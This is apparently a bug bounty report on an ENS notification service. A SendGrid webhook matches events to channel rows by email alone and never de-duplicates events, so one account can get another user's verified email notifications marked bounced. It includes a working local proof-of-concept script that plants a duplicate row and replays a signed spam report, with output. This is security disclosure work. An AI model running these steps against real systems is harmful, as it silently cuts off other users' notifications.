92398 w a medium unscoped replay unprotected sendgrid webhook over duplicate email rows lead to silent cross user disabling of ens email notifications
Submitted on Sep 9th 2026 at 13:09:56 UTC by @Destiny0629 for Audit Competition | ENS
- Report ID: #92398
- Report Type: Websites & Apps
- Report severity: Medium
- Target: https://github.com/immunefi-team/audit-comp-ens/tree/audit-comp-ready/workers
- Impacts:
- Changing non-sensitive details of other users (including modifying browser local storage) without already-connected wallet interaction and with up to one click of user interaction, such as: Enabling/disabling notifications
Description
Brief/Intro
A SendGrid delivery event for a shared email address mutates whichever notification-channel row the database returns first including a different user's verified channel and with no replay or freshness check, the same signed request is re-processed on every re-delivery, so an attacker with only an ordinary account can silently and persistently disable another user's ENS email notifications
Vulnerability Details
Affected component: workers/api-worker — the SendGrid event webhook (src/app/routes/webhook/sendgrid.ts, post-signature event processing), enabled by the cross-user duplicate-row gap in the channel-add flow (src/app/routes/notifications/channels/email.ts) over a per-user-only uniqueness constraint (src/core/database/schema/notifications.ts)
The root cause is a composition of three defects — one primary (mis-attribution), two that enable and sustain it:
- Unscoped, non-deterministic channel resolution. For every event, the webhook resolves the row to mutate with
db.query.userChannels.findFirst({ where: eq(TABLE.userChannels.target, event.email) })— keyed by the email address only: nouser_idfilter, nochannel = 'email'filter, and noorderBy. It then writesstatus = 'bounced'/'unsubscribed',status_reason, andlast_bounce_atonto whatever row that call returns. A SendGrid event carries no channel or user identifier, so a delivery that pertains to one user's channel is applied to whatever row shares that email — potentially a different user's - Attacker-plantable duplicate rows. The channel-add flow's cross-user guard rejects a second account's identical email only when the other account's row is already
status = 'verified'(email.ts—findFirst(and(channel='email', target=email, status='verified'))→ 400 only ifuser_iddiffers). While a target's row is stillpending— or before the target ever adds the address — any authenticated account may add the same address, and the DB uniqueness key is per-(user_id, channel, target)(notifications.ts—unique('user_channel_unique').on(user_id, channel, target)). Two rows for one email, owned by two different users, therefore coexist legitimately, and the planted (pending) row persists even after the target verifies theirs - No replay / freshness protection. The webhook's ECDSA verification is correct (fails closed when the key is unset, SPKI import,
timestamp + rawBodyP-256) and is not bypassed — butsg_event_idis never stored or de-duplicated, so a genuine signed event is re-processed every time it is delivered again — SendGrid's own at-least-once (duplicate) delivery, or a verbatim resend of a captured request. The timestamp is likewise never age-checked, so a captured request stays valid indefinitely (a replay months later is accepted identically)
This finding is not about forging events — the signature boundary holds. It is about what a genuine signed event (which SendGrid emits whenever any recipient of ENS mail bounces or reports spam, including for the unsolicited ENS "Verify your email" message the plant itself sends to the target) is then permitted to do, to whom, and for how long
Why existing checks do not prevent it: the cross-user guard is verified-only (defect 2 is precisely that gap); the webhook mutate by email with no user/channel scoping and no deterministic ordering (defect 1); and nothing bounds re-processing (defect 3). No admin role, no leaked key and no signature forgery is involved — only a self-service account plus the target's email address
Exploit scenerio;
- Attacker create an ordinary account (SIWE login — permissionless) and calls
POST /notifications/channels/email {"email":"<target@example.com>"}while the target's own row for that address is stillpending, or before the target has added it. Two rows for one email now exist — one owned by the attacker, one (to be) owned by the target. The target's mailbox receives an ENS-branded "Verify your email" message it did not request. - The target verifies their own row through normal usage → the target's channel is
verified; the attacker's row stayspending(Both rows share the sametargetemail; they differ only byuser_idandstatus.) - A genuine SendGrid event for that email reaches
POST /webhook/sendgrid/events— e.g. because the target reports the unsolicited ENS verification mail (or any ENS mail) as spam, or because ENS mail to that address bounces. The attacker does not forge this event; SendGrid signs and delivers it. - The webhook resolves the channel by email alone (
findFirst(target=email)) and writesstatus = 'bounced'(status_reason = "User reported as spam") to whichever row the database returns — which can be the target's verified channel — silently disabling their notification delivery, with no wallet interaction and no signature forgery, and, when the recipient's mail provider bounces or spam-filters the attacker-induced message, no action by the target at all - Because there is no replay or freshness check, the same signed request is accepted on every re-delivery (SendGrid's at-least-once duplicate delivery, or a verbatim resend of a captured request). Since channel resolution is non-deterministic (row ordering shifts as rows are updated), successive re-deliveries of that one signed event land on different rows sharing the email driving the target's verified channel to
bouncedand holding it there (a later re-verify is simply bounced again)
Impact
Medium : a permissionless account, with no wallet interaction and no signature forgery, silently mark another user's verified email notification channel bounced/unsubscribed (disabling their ENS notifications), and the missing replay protection sustain it — the strictly no-interaction (Critical) variant would additionally require capturing a delivered webhook request to replay, so Medium is the claimed tier
References
workers/api-worker/src/app/routes/webhook/sendgrid.ts—processEvents:findFirst({ where: eq(TABLE.userChannels.target, event.email) })(unscoped, no ordering) and thestatus='bounced'/'unsubscribed'writes; the handler performs no timestamp freshness check and nosg_event_idde-duplication.workers/api-worker/src/app/routes/notifications/channels/email.ts— the cross-user guard fires only forstatus='verified'rows (permits a duplicatependingrow for another user's email).workers/api-worker/src/core/database/schema/notifications.ts—unique('user_channel_unique').on(user_id, channel, target)(per-user uniqueness permits two rows for one email).
Recommended Mitigation Steps
The single change that close the cross-user impact is correct event attribution:
- Stamp a per-send id (
sg_message_idor acustom_argschannel id) on the outgoing mail and resolve the webhook by that id, not bytargetemail. For legacy events with no id, act only when the address maps to a single channel; skip when several share it
Then harden the two enabling defects:
- Deduplicate on
sg_event_id; reject stale timestamps - One verified channel per address, enforced at verification time, not add time — an add-time check lets an attacker pre-claim an address and lock out its real owner
Proof of Concept
Proof of Concept
Place the script below as workers/api-worker/poc-dualrow.mjs and run node poc-dualrow.mjs against the local api-worker on http://localhost:2999
Setup: docker compose up -d (Postgres), pnpm exec drizzle-kit push --force, pnpm dev:vite; in .dev.vars set a working SEPOLIA_RPC_URL (SIWE does an eth_getCode), the neon DATABASE_URL, JWT_SECRET, a dummy SENDGRID_API_KEY and SENDGRID_WEBHOOK_VERIFICATION_KEY = the base64 SPKI public half of the P-256 key the PoC signswith (poc-priv.pem). psql only stand in for the mailbox click and the final-state read
// poc-dualrow.mjs — attacker plants a duplicate pending row for the target's email; the target
// verifies their OWN (VERIFIED) row; a genuine signed spamreport plus its (unprotected) replay
// flip a cross-user row for the shared email — the target's VERIFIED channel ends bounced.
// Fresh random EOAs (clean addresses, no on-chain code) so SIWE uses plain ECDSA recovery.
import { createSign, createPrivateKey } from 'node:crypto'
import { execSync } from 'node:child_process'
import { readFileSync } from 'node:fs'
import { generatePrivateKey, privateKeyToAccount } from 'viem/accounts'
const API = 'http://localhost:2999'
const DB = 'postgresql://postgres:postgres@localhost:5432/postgres'
const EMAIL = `victim-${Date.now()}@poc-box.test`
const key = createPrivateKey(readFileSync('poc-priv.pem', 'utf8'))
const psql = (sql) => execSync(`psql "${DB}" -tAc "${sql.replace(/"/g, '\\"')}"`).toString().trim()
async function login(account) {
const { nonce } = await (await fetch(`${API}/auth/nonce`, { method: 'POST' })).json()
const message =
`app.ens.dev wants you to sign in with your Ethereum account:\n${account.address}\n\n` +
`Sign in to ENS\n\nURI: https://app.ens.dev\nVersion: 1\nChain ID: 11155111\n` +
`Nonce: ${nonce}\nIssued At: ${new Date().toISOString()}`
const signature = await account.signMessage({ message })
const b = await (await fetch(`${API}/auth/login`, { method: 'POST', headers: { 'Content-Type': 'application/json' },
body: JSON.stringify({ address: account.address, message, signature, nonce }) })).json()
if (!b.token) throw new Error('login failed: ' + JSON.stringify(b))
return b.token
}
const addEmail = async (token) => (await fetch(`${API}/notifications/channels/email`, { method: 'POST',
headers: { Authorization: `Bearer ${token}`, 'Content-Type': 'application/json' }, body: JSON.stringify({ email: EMAIL }) })).status
const sign = (payload, ts = Math.floor(Date.now() / 1000).toString()) =>
({ sig: createSign('SHA256').update(ts + payload).sign({ key, dsaEncoding: 'ieee-p1363' }).toString('base64'), ts })
const fireWebhook = async (label, payload, { sig, ts } = {}) => {
const r = await fetch(`${API}/webhook/sendgrid/events`, { method: 'POST',
headers: { 'Content-Type': 'application/json',
...(sig ? { 'X-Twilio-Email-Event-Webhook-Signature': sig, 'X-Twilio-Email-Event-Webhook-Timestamp': ts } : {}) },
body: payload })
console.log(label, '->', r.status, (await r.text()).slice(0, 80))
}
const dump = (tag) => console.log(tag, '\n' + psql(
`select substr(u.address,1,10) as owner, c.status from user_channels c join users u on u.id=c.user_id where c.target='${EMAIL}' order by u.address`))
const victim = privateKeyToAccount(generatePrivateKey())
const attacker = privateKeyToAccount(generatePrivateKey())
console.log('victim =', victim.address, '\nattacker=', attacker.address, '\nemail =', EMAIL, '\n')
const victimTok = await login(victim)
const attackerTok = await login(attacker)
// 1) victim adds (pending). 2) attacker plants a duplicate PENDING row (verified-only guard allows it).
// Both HTTP calls return 500 on the dummy SendGrid key AFTER the rows are written (writes precede
// the send) — the rows persist, which is all the attack needs.
console.log('victim add ->', await addEmail(victimTok))
console.log('attacker add->', await addEmail(attackerTok))
dump('after plant (two rows, one email, two users):')
// 3) victim verifies THEIR OWN row via its token (stands in for clicking the mailbox link).
const victimUserId = psql(`select id from users where lower(address)=lower('${victim.address}')`)
const token = psql(`select cv.token from channel_verifications cv join user_channels c on c.id=cv.channel_id ` +
`where c.target='${EMAIL}' and c.user_id='${victimUserId}' order by cv.expires_at desc limit 1`)
const vr = await fetch(`${API}/notifications/channels/email/verify`, { method: 'POST',
headers: { 'Content-Type': 'application/json' }, body: JSON.stringify({ token }) })
console.log('\nvictim verify ->', vr.status, (await vr.text()).slice(0, 60))
dump('after victim verify (victim VERIFIED, attacker pending):')
// 4) genuine signed spamreport for the shared email.
const ev = JSON.stringify([{ email: EMAIL, event: 'spamreport', timestamp: Math.floor(Date.now() / 1000), sg_event_id: 'evt-1' }])
console.log('')
await fireWebhook('(a) valid signed spamreport', ev, sign(ev))
dump('after event #1:')
// 5) replay the same signed event (same sg_event_id) — no dedup, so it is re-processed and re-applied.
// (A real attacker without SendGrid's key cannot re-sign; they resend a captured request verbatim,
// which is byte-for-byte this same accepted request — the timestamp is never age-checked either.)
await fireWebhook('(b) replay (same event id, re-submitted)', ev, sign(ev))
dump('final state (bounced sustained across replay):')
// 6) controls: signature boundary intact (no mutation).
console.log('')
await fireWebhook('(d) control: no signature headers', ev)
await fireWebhook('(e) control: garbage signature', ev, { sig: Buffer.from('nope').toString('base64'), ts: '1' })
$ node poc-dualrow.mjs
victim = 0x9f0477367d066BbB439C96Bd6b4c342825347343
attacker= 0x1FE754013B5F8A9b5182bF55b1dC91C56892444f
email = victim-1788948964219@poc-box.test
victim add -> 500
attacker add-> 500
after plant (two rows, one email, two users):
0x1fe75401|pending
0x9f047736|pending
<- both rows persist despite the 500 (writes precede the SendGrid send)
victim verify -> 200 {"message":"Email verified successfully"}
after victim verify (victim VERIFIED, attacker pending):
0x1fe75401|pending <- attacker (planted)
0x9f047736|verified <- victim (their real channel)
(a) valid signed spamreport -> 200 {"ok":true}
after event #1:
0x1fe75401|bounced <- unordered findFirst hit a cross-user row (here the attacker's)
0x9f047736|verified
(b) replay (same event id, re-submitted) -> 200 {"ok":true} <- same sg_event_id accepted again; no dedup
final state (bounced sustained across replay):
0x1fe75401|bounced
0x9f047736|bounced <- the VICTIM's VERIFIED channel is now bounced — notifications disabled
(d) control: no signature headers -> 401 {"error":"Missing signature headers"}
(e) control: garbage signature -> 401 {"error":"Invalid signature"}